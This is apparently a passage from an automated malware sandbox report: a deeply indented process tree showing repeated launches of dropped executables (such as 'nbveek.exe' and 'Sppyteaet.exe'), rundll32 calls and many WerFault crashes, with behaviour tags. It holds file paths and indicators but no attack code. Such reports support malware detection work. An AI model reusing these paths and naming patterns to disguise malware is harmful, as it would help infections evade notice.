                                                                                                                                                                                                                                                                                    • Checks processor information in registry
                                                                                                                                                                                                                                                                                    PID:1964
                                                                                                                                                                                                                                                                                    • C:\Windows\TEMP\Sppyteaet.exe
                                                                                                                                                                                                                                                                                      "C:\Windows\TEMP\Sppyteaet.exe"
                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                        PID:5820
                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                        "C:\Windows\syswow64\rundll32.exe" "C:\Windows\syswow64\shell32.dll",#61
                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                        • Checks processor information in registry
                                                                                                                                                                                                                                                                                        PID:3044
                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -u -p 1964 -s 1272
                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                        • Program crash
                                                                                                                                                                                                                                                                                        PID:1100
                                                                                                                                                                                                                                                                                    • C:\Program Files (x86)\Microsoft.NET\RedistList\CPDF_Full..exe
                                                                                                                                                                                                                                                                                      "C:\Program Files (x86)\Microsoft.NET\RedistList\CPDF_Full..exe"
                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                      • Checks processor information in registry
                                                                                                                                                                                                                                                                                      PID:5872
                                                                                                                                                                                                                                                                                      • C:\Windows\TEMP\Sppyteaet.exe
                                                                                                                                                                                                                                                                                        "C:\Windows\TEMP\Sppyteaet.exe"
                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                          PID:5956
                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                          "C:\Windows\syswow64\rundll32.exe" "C:\Windows\syswow64\shell32.dll",#61
                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                            PID:6064
                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -u -p 5872 -s 1280
                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                            • Program crash
                                                                                                                                                                                                                                                                                            PID:5196
                                                                                                                                                                                                                                                                                        • C:\Program Files (x86)\Microsoft.NET\RedistList\CPDF_Full..exe
                                                                                                                                                                                                                                                                                          "C:\Program Files (x86)\Microsoft.NET\RedistList\CPDF_Full..exe"
                                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                                          • Checks processor information in registry
                                                                                                                                                                                                                                                                                          PID:3780
                                                                                                                                                                                                                                                                                          • C:\Windows\TEMP\Sppyteaet.exe
                                                                                                                                                                                                                                                                                            "C:\Windows\TEMP\Sppyteaet.exe"
                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                              PID:3080
                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                              "C:\Windows\syswow64\rundll32.exe" "C:\Windows\syswow64\shell32.dll",#61
                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                              • Checks processor information in registry
                                                                                                                                                                                                                                                                                              PID:5728
                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3780 -s 1012
                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                              • Program crash
                                                                                                                                                                                                                                                                                              PID:2844
                                                                                                                                                                                                                                                                                          • C:\Program Files (x86)\Microsoft.NET\RedistList\CPDF_Full..exe
                                                                                                                                                                                                                                                                                            "C:\Program Files (x86)\Microsoft.NET\RedistList\CPDF_Full..exe"
                                                                                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                                                                                            • Checks processor information in registry
                                                                                                                                                                                                                                                                                            PID:4480
                                                                                                                                                                                                                                                                                            • C:\Windows\TEMP\Sppyteaet.exe
                                                                                                                                                                                                                                                                                              "C:\Windows\TEMP\Sppyteaet.exe"
                                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                                PID:5388
                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                "C:\Windows\syswow64\rundll32.exe" "C:\Windows\syswow64\shell32.dll",#61
                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                • Checks processor information in registry
                                                                                                                                                                                                                                                                                                PID:5988
                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -u -p 4480 -s 1324
                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                • Program crash
                                                                                                                                                                                                                                                                                                PID:6208
                                                                                                                                                                                                                                                                                            • C:\Program Files (x86)\Microsoft.NET\RedistList\CPDF_Full..exe
                                                                                                                                                                                                                                                                                              "C:\Program Files (x86)\Microsoft.NET\RedistList\CPDF_Full..exe"
                                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                              • Checks processor information in registry
                                                                                                                                                                                                                                                                                              PID:6712
                                                                                                                                                                                                                                                                                              • C:\Windows\TEMP\Sppyteaet.exe
                                                                                                                                                                                                                                                                                                "C:\Windows\TEMP\Sppyteaet.exe"
                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                  PID:6776
                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                  "C:\Windows\syswow64\rundll32.exe" "C:\Windows\syswow64\shell32.dll",#61
                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                  • Checks processor information in registry
                                                                                                                                                                                                                                                                                                  PID:6884
                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -u -p 6712 -s 1020
                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                  • Program crash
                                                                                                                                                                                                                                                                                                  PID:6500
                                                                                                                                                                                                                                                                                              • C:\Program Files (x86)\Microsoft.NET\RedistList\CPDF_Full..exe
                                                                                                                                                                                                                                                                                                "C:\Program Files (x86)\Microsoft.NET\RedistList\CPDF_Full..exe"
                                                                                                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                                                                                                • Checks processor information in registry
                                                                                                                                                                                                                                                                                                PID:6276
                                                                                                                                                                                                                                                                                                • C:\Windows\TEMP\Sppyteaet.exe
                                                                                                                                                                                                                                                                                                  "C:\Windows\TEMP\Sppyteaet.exe"
                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                    PID:5912
                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                    "C:\Windows\syswow64\rundll32.exe" "C:\Windows\syswow64\shell32.dll",#61
                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                    • Checks processor information in registry
                                                                                                                                                                                                                                                                                                    PID:5804
                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 6276 -s 1016
                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                    • Program crash
                                                                                                                                                                                                                                                                                                    PID:4024
                                                                                                                                                                                                                                                                                                • C:\Program Files (x86)\Microsoft.NET\RedistList\CPDF_Full..exe
                                                                                                                                                                                                                                                                                                  "C:\Program Files (x86)\Microsoft.NET\RedistList\CPDF_Full..exe"
                                                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                                                  • Checks processor information in registry
                                                                                                                                                                                                                                                                                                  PID:1784
                                                                                                                                                                                                                                                                                                  • C:\Windows\TEMP\Sppyteaet.exe
                                                                                                                                                                                                                                                                                                    "C:\Windows\TEMP\Sppyteaet.exe"
                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                      PID:6992
                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                      "C:\Windows\syswow64\rundll32.exe" "C:\Windows\syswow64\shell32.dll",#61
                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                      • Checks processor information in registry
                                                                                                                                                                                                                                                                                                      PID:6244
                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -u -p 1784 -s 1304
                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                      • Program crash
                                                                                                                                                                                                                                                                                                      PID:1896
                                                                                                                                                                                                                                                                                                  • C:\Program Files (x86)\Microsoft.NET\RedistList\CPDF_Full..exe
                                                                                                                                                                                                                                                                                                    "C:\Program Files (x86)\Microsoft.NET\RedistList\CPDF_Full..exe"
                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                      PID:3924
                                                                                                                                                                                                                                                                                                      • C:\Windows\TEMP\Sppyteaet.exe
                                                                                                                                                                                                                                                                                                        "C:\Windows\TEMP\Sppyteaet.exe"
                                                                                                                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                                                                                                                          PID:2312
                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                                                                          "C:\Windows\syswow64\rundll32.exe" "C:\Windows\syswow64\shell32.dll",#61
                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                          • Checks processor information in registry
                                                                                                                                                                                                                                                                                                          PID:6104
                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 3924 -s 1288
                                                                                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                                                                                          • Program crash
                                                                                                                                                                                                                                                                                                          PID:5244
                                                                                                                                                                                                                                                                                                      • C:\Program Files (x86)\Microsoft.NET\RedistList\CPDF_Full..exe
                                                                                                                                                                                                                                                                                                        "C:\Program Files (x86)\Microsoft.NET\RedistList\CPDF_Full..exe"
                                                                                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                                                                                          PID:5008
                                                                                                                                                                                                                                                                                                          • C:\Windows\TEMP\Sppyteaet.exe
                                                                                                                                                                                                                                                                                                            "C:\Windows\TEMP\Sppyteaet.exe"
                                                                                                                                                                                                                                                                                                            4⤵
                                                                                                                                                                                                                                                                                                              PID:5952
                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 3876 -s 720
                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                          • Program crash
                                                                                                                                                                                                                                                                                                          PID:3292
                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -u -p 3876 -s 1348
                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                          • Program crash
                                                                                                                                                                                                                                                                                                          PID:3540
                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\cb465ca805\nbveek.exe
                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\cb465ca805\nbveek.exe
                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                                                                        PID:1484
                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\rundll32.exe
                                                                                                                                                                                                                                                                                                        C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                          PID:1056
                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\CompPkgSrv.exe
                                                                                                                                                                                                                                                                                                          C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                            PID:3132
                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 3876 -ip 3876
                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                              PID:4848
                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 3876 -ip 3876
                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                PID:1020
                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                                                                                                                                                C:\Windows\system32\WerFault.exe -pss -s 576 -p 2364 -ip 2364
                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                  PID:3692
                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\CompPkgSrv.exe
                                                                                                                                                                                                                                                                                                                  C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                    PID:4688
                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 2932 -ip 2932
                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                      PID:2136
                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\WerFault.exe -pss -s 464 -p 2220 -ip 2220
                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                        PID:3148
                                                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\cb465ca805\nbveek.exe
                                                                                                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\cb465ca805\nbveek.exe
                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                        PID:2312
                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DeviceAssociationService
                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                          PID:5000
                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 1788 -ip 1788
                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                            PID:1636
                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\CompPkgSrv.exe
                                                                                                                                                                                                                                                                                                                            C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                              PID:3624
                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\WerFault.exe -pss -s 412 -p 1436 -ip 1436
                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                PID:628
                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\WerFault.exe -pss -s 508 -p 868 -ip 868
                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                  PID:316
                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 4612 -ip 4612
                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                    PID:5048
                                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\cb465ca805\nbveek.exe
                                                                                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\cb465ca805\nbveek.exe
                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                    PID:3064
                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\CompPkgSrv.exe
                                                                                                                                                                                                                                                                                                                                    C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                      PID:1972
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\WerFault.exe -pss -s 580 -p 4920 -ip 4920
                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                        PID:4688
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 4192 -ip 4192
                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                          PID:4068
                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\CompPkgSrv.exe
                                                                                                                                                                                                                                                                                                                                          C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                            PID:4496
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\WerFault.exe -pss -s 528 -p 312 -ip 312
                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                              PID:4688
                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 2264 -ip 2264
                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                PID:424
                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\cb465ca805\nbveek.exe
                                                                                                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\cb465ca805\nbveek.exe
                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                PID:3144
                                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\CompPkgSrv.exe
                                                                                                                                                                                                                                                                                                                                                C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                  PID:4656
                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\WerFault.exe -pss -s 576 -p 2888 -ip 2888
                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                    PID:1084
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 2276 -ip 2276
                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                      PID:1880
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\CompPkgSrv.exe
                                                                                                                                                                                                                                                                                                                                                      C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                        PID:620
                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\WerFault.exe -pss -s 556 -p 3032 -ip 3032
                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                          PID:756
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 4688 -ip 4688
                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                            PID:1768
                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\cb465ca805\nbveek.exe
                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\cb465ca805\nbveek.exe
                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                            PID:4676
                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\eebagdt
                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Roaming\eebagdt
                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                            • Checks SCSI registry key(s)
                                                                                                                                                                                                                                                                                                                                                            • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                                                                                                                                                                                            PID:1940
                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Roaming\bgbagdt
                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Roaming\bgbagdt
                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                            • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                            PID:2544
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -u -p 2544 -s 392
                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                              • Program crash
                                                                                                                                                                                                                                                                                                                                                              PID:4012
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\CompPkgSrv.exe
                                                                                                                                                                                                                                                                                                                                                            C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                              PID:1744
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 1036 -ip 1036
                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                PID:3032
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\WerFault.exe -pss -s 520 -p 3156 -ip 3156
                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:2432
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 2544 -ip 2544
                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:4748
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\CompPkgSrv.exe
                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:4012
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 444 -ip 444
                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:2236
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\system32\WerFault.exe -pss -s 656 -p 3948 -ip 3948
                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:3932
                                                                                                                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\cb465ca805\nbveek.exe
                                                                                                                                                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\cb465ca805\nbveek.exe
                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                          • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                          PID:368
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\CompPkgSrv.exe
                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                            PID:5024
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 3032 -ip 3032
                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                              PID:4364
                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\WerFault.exe -pss -s 632 -p 312 -ip 312
                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                PID:4880
                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\CompPkgSrv.exe
                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                  PID:3568
                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 3360 -ip 3360
                                                                                                                                                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                                                                                                                                                    PID:1404
                                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\WerFault.exe -pss -s 536 -p 4664 -ip 4664
                                                                                                                                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                                                                                                                                      PID:4940
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\cb465ca805\nbveek.exe
                                                                                                                                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\cb465ca805\nbveek.exe
                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                                                                                                                                                      PID:4240
                                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\CompPkgSrv.exe
                                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                                                                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                                                                                                                                        PID:2308
                                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 1540 -ip 1540
                                                                                                                                                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                                                                                                                                                          PID:3460
                                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                          C:\Windows\system32\WerFault.exe -pss -s 560 -p 368 -ip 368
                                                                                                                                                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                                                                                                                                                            PID:5104
                                                                                                                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\cb465ca805\nbveek.exe
                                                                                                                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\cb465ca805\nbveek.exe
                                                                                                                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                                                                                                                              PID:1620
                                                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\CompPkgSrv.exe
                                                                                                                                                                                                                                                                                                                                                                                              C:\Windows\System32\CompPkgSrv.exe -Embedding
                                                                                                                                                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                                                                                                                                                                PID:3184
                                                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                                                                                                                                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 1964 -ip 1964
                                                                                                                                                                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                                                                                                                                                                  PID:1808
                                                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\WerFault.exe
